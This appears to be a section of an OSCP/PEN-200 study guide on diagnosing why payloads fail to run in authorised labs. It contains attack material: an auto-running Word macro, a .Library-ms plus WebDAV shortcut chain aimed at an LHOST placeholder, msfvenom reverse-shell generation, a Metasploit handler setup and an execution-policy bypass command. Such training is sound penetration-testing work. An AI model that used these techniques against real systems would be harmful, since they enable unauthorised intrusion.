9.4.6 Payload Execution Obstacles
← Stage index | Shells and payloads | File transfer | Payload-execution cheatsheet | Strategy map | Study methods: Resolve payload execution obstacles
Goal: determine the first failed boundary between delivery and a usable session, then change only the condition responsible. Commands are generic authorized-lab references. Client-side delivery requires explicit scope and the intended exercise user interaction.
9.4.6.1 Preserve the execution chain
artifact/request
→ delivered to intended consumer
→ required user/trigger action
→ parser/interpreter/loader
→ process or bounded side effect
→ network connection
→ handler protocol
→ usable session
| Boundary | Decisive evidence | Does not prove |
|---|---|---|
| Delivery | Expected bytes, request, document or shortcut arrives intact | It was opened or parsed |
| Trigger | Intended user/service/parser consumed it | Child process started |
| Execution | Harmless marker, process or command output | Callback route works |
| Connection | Expected peer reaches listener | Payload and handler agree |
| Session | Commands return; host and identity verified | Stability or privilege |
Do not replace the artifact, payload, listener and route simultaneously. Record the last confirmed boundary and test the next one.
9.4.6.2 Establish the current state and choose your first useful check Fast diagnostic order
- Reproduce a harmless direct command in the exact vulnerable or user context.
- Confirm file/request integrity, final path and consumer.
- Identify every parser, interpreter and loader.
- Match target OS, process architecture, artifact format and runtime dependencies.
- Verify permissions, working directory, execution policy and application-control evidence.
- Start the correct listener/handler and prove its bind.
- Prove the target-to-listener route separately.
- Inspect concrete antimalware, application-control and process-failure evidence.
- Repair session I/O only after a connection exists.
If step 1 fails, this is not yet a payload problem. Return to the exploit, input parser or execution primitive.
9.4.6.3 Client-side attacks are gated chains
Client-side access adds two prerequisites that service exploitation does not normally have:
- the artifact must reach the intended user and application;
- the user or application must perform the action that reaches the execution sink.
Before choosing a document or shortcut, establish the target OS, installed application/version, delivery route, expected security zone, required interaction, target egress and callback route. A generic file that depends on absent software is not a viable attack.
9.4.6.3.1 Check the conditions required for a document macro to execute Office macro chain
Use a macro-enabled format such as .docm or a legacy .doc; .docx does not persist embedded VBA macros by itself. Store the macro in the document, not only the global template. A minimal harmless execution proof is:
Sub AutoOpen()
RunProof
End Sub
Sub Document_Open()
RunProof
End Sub
Sub RunProof()
CreateObject("WScript.Shell").Run _
"cmd.exe /c whoami > %TEMP%\oscp-marker.txt", 0, True
End Sub
AutoOpen and Document_Open cover distinct Word opening paths. Replace the proof command only after the document, trigger and execution context are confirmed.
Modern Office commonly blocks VBA macros in files carrying Mark of the Web rather than offering a universal one-click enable path. Relevant gates include:
- file format actually supports the macro;
- macro is stored in the delivered document;
- MOTW/Zone Identifier and security zone;
- Protected View and Trust Center settings;
- signed publisher or Trusted Location decisions;
- organization GPO that the user cannot override;
- user opened the document and performed the required permitted action;
- Office launched the expected child process;
- the child command survived VBA, CMD and PowerShell quoting;
- delivery and callback network paths both work.
Inspect a file's zone without changing it:
Get-Item -LiteralPath 'C:\PATH\FILE.docm' -Stream *
Get-Content -LiteralPath 'C:\PATH\FILE.docm' -Stream Zone.Identifier
ZoneId=3 represents the Internet zone. Absence of the stream does not prove that macro policy permits execution, and removing MOTW does not override every policy.
9.4.6.3.2 Validate each delivery and execution step in the Library-file chain Windows Library file plus shortcut
A .Library-ms file is an XML library description that can present a remote location in Explorer. The PEN-200 attack pattern is two-stage:
delivered .Library-ms
→ user opens library
→ Explorer reaches WebDAV location
→ user opens .lnk
→ shortcut launches chosen command
→ optional download/callback
If WsgiDAV is already installed, publish a dedicated authorized-lab directory:
mkdir -p webdav
wsgidav --host=0.0.0.0 --port=80 \
--root=./webdav --auth=anonymous
Anonymous mode exposes the selected directory. Bind only to the required lab interface when possible, place no sensitive files there and stop the server after the exercise. Port 80 is the reliable baseline for a plain-HTTP Windows WebDAV location. Use another port only after confirming the target WebClient accepts that URL form and the route permits it.
Original library template using placeholders:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>1</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1002</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://LHOST/</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
Save it with a .Library-ms extension. Windows may add a serialized location after opening it; retain a clean source copy and inspect the final artifact before delivery.
Create a shortcut on a controlled Windows preparation host:
$shortcutPath = 'C:\PATH\webdav\ACTION.lnk'
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = "$env:SystemRoot\System32\cmd.exe"
$shortcut.Arguments = '/c whoami > %TEMP%\oscp-marker.txt'
$shortcut.WorkingDirectory = $env:TEMP
$shortcut.IconLocation = "$env:SystemRoot\System32\imageres.dll,11"
$shortcut.Save()
Only after the harmless marker works, substitute a command compatible with the target and the separately proven callback route. Diagnose this chain at three independent network points:
Explorer → WebDAV
shortcut command → optional payload/download server
executed payload → listener/handler
Failure cues:
| Observation | Next boundary |
|---|---|
| Library opens empty | WebDAV bind, reachability, WebClient/policy, modified library serialization |
| WebDAV receives nothing | Artifact not opened, URL/port wrong, client route or WebDAV blocked |
| Directory appears; shortcut never runs | Required second user action absent or shortcut blocked |
| Marker works; download absent | Command quoting, DNS and payload-server route |
| Download occurs; no execution | Format, permissions, policy, quarantine or dependency |
| Execution proven; no callback | Listener, route, payload/handler compatibility |
9.4.6.4 Match artifact to its consumer
The file extension is not the execution contract. Record all of these:
target OS and build
target process architecture
artifact format
loader/interpreter
execution identity and integrity
working directory and PATH
required runtime/libraries
arguments and quoting
network direction
handler protocol
9.4.6.4.1 Check whether the artifact can execute in the Linux environment Linux checks
uname -a
uname -m
file PAYLOAD
readelf -h PAYLOAD | sed -n '1,25p'
ldd PAYLOAD
ls -l PAYLOAD
findmnt -T /PATH/TO/PAYLOAD
head -n 1 SCRIPT
Common interpretations:
Exec format error: wrong format/architecture or invalid interpreter line;Permission denied: missing execute permission, inaccessible parent directory,noexec, policy or identity issue;No such file or directorywhen the file exists: missing dynamic loader or broken shebang interpreter;- missing shared object: runtime library mismatch;
^Min a shebang: CRLF line endings changed the interpreter path;- works interactively but not through cron/service: environment, working directory, shell, identity or route differs.
9.4.6.4.2 Check whether the artifact matches the Windows execution environment Windows checks
Get-CimInstance Win32_OperatingSystem |
Select-Object Caption,Version,BuildNumber,OSArchitecture
[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
$env:PROCESSOR_ARCHITECTURE
Get-AuthenticodeSignature -FilePath 'C:\PATH\PAYLOAD.exe'
Keep OS architecture and consumer-process architecture separate. A 64-bit OS can run a 32-bit process under WOW64; injected code and DLLs must match the process they enter. A normal executable is not necessarily a service executable, DLL, MSI or script:
| Consumer | Required property / common failure |
|---|---|
| Direct process creation | Compatible PE/ELF/script and dependencies |
| Windows service | Service-compatible entry/control behavior; error 1053 may follow execution of a non-service program |
| DLL loader/hijack | Correct bitness, expected exports and dependency behavior |
msiexec | Valid MSI package, not an EXE renamed .msi |
| PowerShell | Valid syntax, edition/runtime compatibility and applicable policy/control state |
| Existing memory-corruption PoC | Documented architecture, space, bad characters and exit behavior |
9.4.6.5 Parser, command-line and length failures
Write the real chain:
document/shortcut or HTTP/SQL/template input
→ application parser
→ VBA/WScript/application runtime
→ cmd.exe /c, /bin/sh -c or PowerShell
→ final command/payload
Start with a short marker at every layer. Check:
- quote ownership at each layer;
- expansion of
%VAR%,$VARand PowerShell variables; - metacharacters such as
&,|,<,>,;, backticks and parentheses; - URL/JSON/XML/Base64 decode count;
- command-line, VBA-string, request-field or exploit-buffer length;
- current directory and relative paths.
PowerShell encoded-command preparation:
$command = 'COMMAND'
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
[Convert]::ToBase64String($bytes)
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE
-EncodedCommand uses UTF-16LE. It solves some transport/quoting problems; it is not encryption and does not establish antimalware evasion.
9.4.6.6 PowerShell control layers
Do not merge these different controls:
| Control | What it changes | Useful evidence |
|---|---|---|
| Execution policy | Conditions for loading/running scripts | Get-ExecutionPolicy -List and exact error |
| Language mode | Available PowerShell language features | $ExecutionContext.SessionState.LanguageMode |
| AMSI | Submits supported script/content to antimalware | Explicit block/error plus Defender/PowerShell events |
| AppLocker/WDAC | Application/script allow policy | Effective policy and application-control events |
| Defender/other AV | File, memory, behavior and network decisions | Status, detection history, quarantine/events |
| Permissions | File/process/service/token rights | Access-denied result under named identity |
Read-only checks:
Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode
Get-MpComputerStatus |
Select-Object AntivirusEnabled,RealTimeProtectionEnabled,
BehaviorMonitorEnabled,IoavProtectionEnabled,AntivirusSignatureVersion
Get-MpThreatDetection |
Select-Object InitialDetectionTime,ThreatID,ActionSuccess,Resources
Get-AppLockerPolicy -Effective -Xml
Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' `
-MaxEvents 50 -ErrorAction SilentlyContinue |
Select-Object TimeCreated,Id,LevelDisplayName,Message
Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/EXE and DLL' `
-MaxEvents 50 -ErrorAction SilentlyContinue |
Select-Object TimeCreated,Id,Message
Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' `
-MaxEvents 50 -ErrorAction SilentlyContinue |
Select-Object TimeCreated,Id,Message
Cmdlets, logs and fields vary by edition, installed modules, permissions and control product. Missing output is inconclusive.
Execution policy is defense in depth, not a Windows security boundary. A process-scoped policy setting may change script-loading behavior when GPO does not override it:
powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\PATH\SCRIPT.ps1
This does not disable AMSI, application control, antimalware, permissions or network controls. Do not change persistent machine/user policy merely to test a payload.
9.4.6.7 Interpret control evidence
| Observation | Most useful next action |
|---|---|
| Transferred hash differs | Repair transfer/encoding before execution |
| File arrives then vanishes | Inspect quarantine/detection events and resource path |
| File remains; process creation denied | Inspect AppLocker/WDAC, permissions and parent process |
| Script-loading policy error | Inspect scope/precedence; use an authorized process-only invocation if applicable |
| Explicit AMSI/content block | Treat content/control as confirmed; encoding alone is not a supported conclusion |
| Process starts then exits | Capture exit/error, dependency and architecture evidence |
| Process remains; no connection | Test target egress, LHOST and listener |
| TCP handshake then close | Handler/payload mismatch, stage failure, crash or control interruption |
Modern protection can inspect files, scripts after decoding, process memory, behavior and network activity. Therefore:
- changing a filename does not imply a new payload;
- Base64 does not imply concealment from AMSI;
- an in-memory technique is not automatically invisible;
- an encoder is primarily useful for transport/bad-character constraints, not guaranteed AV bypass;
- a clean third-party scanner result does not prove execution on the target and may disclose a private sample.
Prefer the least complex route already supported by evidence: a direct command, native interpreter, authenticated management service or simple command shell may meet the objective without a custom binary. Deep shellcode development, process-injection implementation and generalized AV-bypass recipes are outside this speedrun.
9.4.6.8 Generate only after selecting the context
msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options
Baseline stageless command shells:
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=LHOST LPORT=LPORT \
-f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=LHOST LPORT=LPORT \
-f exe -o shell.exe
file shell.elf shell.exe
sha256sum shell.elf shell.exe
Existing reviewed PoC with documented byte restrictions:
msfvenom -p PAYLOAD_NAME \
LHOST=LHOST LPORT=LPORT \
EXITFUNC=thread \
-f FORMAT -v VARIABLE \
-b 'BAD_CHARACTERS' -s MAX_SPACE
Use EXITFUNC only when the exploit/consumer requires that termination behavior. Never invent bad characters or size limits.
Staging distinction:
windows/x64/shell_reverse_tcp single/stageless
windows/x64/shell/reverse_tcp staged
A staged payload first connects and asks its handler for the larger stage. A raw Netcat listener cannot supply that protocol.
9.4.6.9 Pair the payload with its expected handler and verify the session lifecycle multi/handler and session lifecycle
Matching handler:
msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j
Manage the resulting job/session deliberately:
jobs -l
sessions -l
sessions -i SESSION_ID
background
sessions -k SESSION_ID
jobs -k JOB_ID
ExitOnSession false keeps the handler available after a session opens. run -j backgrounds the handler. A session ID is local to that framework instance; record the target, identity, payload and listener rather than relying on the number alone.
Handler failure cues:
| Output | Interpretation |
|---|---|
| Handler never binds | Bad local address, occupied port or privilege issue |
| Raw listener receives connection; framework does not | Different port/interface or payload transport |
| Handler receives connection but no session | Exact payload/stager mismatch, stage blocked or crash |
| Session opens then dies | Parent exits, payload exit behavior, route/control or process crash |
| Session opens as unexpected architecture/type | Default payload or target was not explicitly selected |
9.4.6.10 Validate module prerequisites and observe the current exam limits Metasploit module workflow and exam boundary
Manual module inspection:
search type:exploit cve:CVE_ID
info MODULE_PATH
use MODULE_PATH
show options
show advanced
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show missing
run
Interpretation rules:
- module rank describes expected exploit stability, not target vulnerability;
checkis an active module operation and does not prove exploitability when unsupported or inconclusive;- target IDs, default payloads and options vary by module/version;
- automatic target selection is still an assumption to verify;
- a module's success message is weaker than a verified session, host and identity;
setgpersists values across modules and can silently aim later work at the wrong host; prefer localsetunless global state is intentionally tracked.
Current OSCP+ restriction:
msfvenomandexploit/multi/handlermay be used against all targets, except that a Meterpreter payload remains subject to the one-target limit;- any Metasploit Auxiliary, Exploit or Post module—or Meterpreter payload—locks the selection to one target, even if
checkor the attack fails; - Metasploit pivoting is prohibited;
- automatic exploitation tools are prohibited.
Use manual/source-reviewed exploitation as the reusable baseline. Decide on the restricted Metasploit target deliberately and record that decision before using a restricted module or Meterpreter.
9.4.6.11 Worked diagnostic paths
9.4.6.11.1 A. Document delivered, no callback
Observed: document exists
Unknown: opened, macro permitted, child command, network route
Test: MOTW/policy → harmless marker → child process/download → callback route
Action: repair first failed gate; do not regenerate the payload first
9.4.6.11.2 B. Executable disappears after transfer
Observed: transfer response succeeded
Test: destination listing/hash → Defender detection/resource/event
Interpretation: transfer success is not retention; quarantine requires evidence
Action: choose a justified alternate execution form or native route, within scope
9.4.6.11.3 C. PowerShell says scripts are disabled
Observed: explicit execution-policy error
Test: Get-ExecutionPolicy -List and GPO precedence
Action: use a process-scoped invocation if allowed; do not call this an AMSI result
9.4.6.11.4 D. Connection reaches Netcat but there is no shell
Observed: TCP connection
Test: generated payload name
Interpretation: staged payload may have reached a raw listener
Action: use exact multi/handler or generate a compatible stageless command shell
9.4.6.11.5 E. Binary exists but returns “not found” on Linux
Observed: path and file exist
Test: file, readelf interpreter, ldd, shebang
Interpretation: loader/interpreter dependency may be missing
Action: build/choose a compatible artifact; do not change callback settings
9.4.6.11.6 F. Metasploit module reports completion, no session
Observed: module ran
Test: exact target profile, payload, callback route, handler output and service state
Interpretation: completion is not verified execution/session
Action: preserve module output and diagnose the first missing state
9.4.6.12 Verify the outcome, preserve evidence and remove your changes Evidence and cleanup
Record:
- source and hash of the original artifact or exploit;
- exact changes and payload-generation command;
- delivery path and resulting hash;
- required user/trigger action;
- OS, process architecture, format and runtime assumptions;
- handler payload, bind and route;
- security-control errors/events used for diagnosis;
- verified host, identity and session type;
- listener/job/process/artifact cleanup.
Remove temporary documents, shortcuts, WebDAV content, payloads, handler jobs and policy changes created for the authorized exercise. Do not claim AV evasion, user execution or a session without observed evidence.
9.4.6.13 Tooling for this section
| Tool | Purpose | Required context | Baseline | Decisive output | Failure cue |
|---|---|---|---|---|---|
file/readelf/ldd | Validate Linux format, architecture and runtime | Local artifact or target shell | Section 4.1 | Matching format/interpreter/libraries | Existing file returns loader error |
| PowerShell built-ins | Inspect architecture, zone, policy and logs | Windows command execution; permissions vary | Sections 3–7 | Specific policy/status/event | Missing cmdlet/log is inconclusive |
| WsgiDAV | Conditional WebDAV stage for Library-file exercise | Installed server, permitted bind and client route | Section 3.2 | OPTIONS/GET and Explorer access | Empty library or no server request |
msfvenom | Generate a selected payload representation | Known OS/arch/format/staging/route | Section 8 | Expected metadata and artifact | Successful generation alone proves nothing on target |
multi/handler | Receive exact framework/staged protocol | Matching payload and reachable listener | Section 9 | Expected session opens | Connection without session implies mismatch/stage failure |
| Netcat/Ncat | Raw listener and simple socket proof | Compatible raw command shell or test connection | Related shell procedure | Expected peer and usable I/O | Cannot stage a framework payload |
tcpdump/packet capture | Localize connection boundary | Capture permission and correct interface | tcpdump -ni any tcp port LPORT | SYN/handshake/close sequence | No packet cannot by itself identify earlier failed layer |
9.4.6.14 Sources
- Supplied PEN-200, Chapter 12 pp. 343–374, selected Chapter 15 pp. 416–441, and Chapter 21 pp. 653–704.
- Current OSCP+ Body of Knowledge and exam guide
- Microsoft: macros from the Internet are blocked by default
- Microsoft Library Description schema
- PowerShell execution policies and security features
- Microsoft Defender status, threat history and event logs
- Microsoft
Get-AppLockerPolicy - Metasploit payloads, module workflow and msfvenom
- WsgiDAV
- getSH Useful Stuff and Tool Cheatsheet, source snapshot
e1f62dd - Hexdump OSCP repository: live index includes Metasploit, Word macro, Windows Library-file and AMSI resources. The narrow mechanics above were checked against current official sources; the dedicated AMSI-bypass resource was not imported because deep bypass development is outside this speedrun.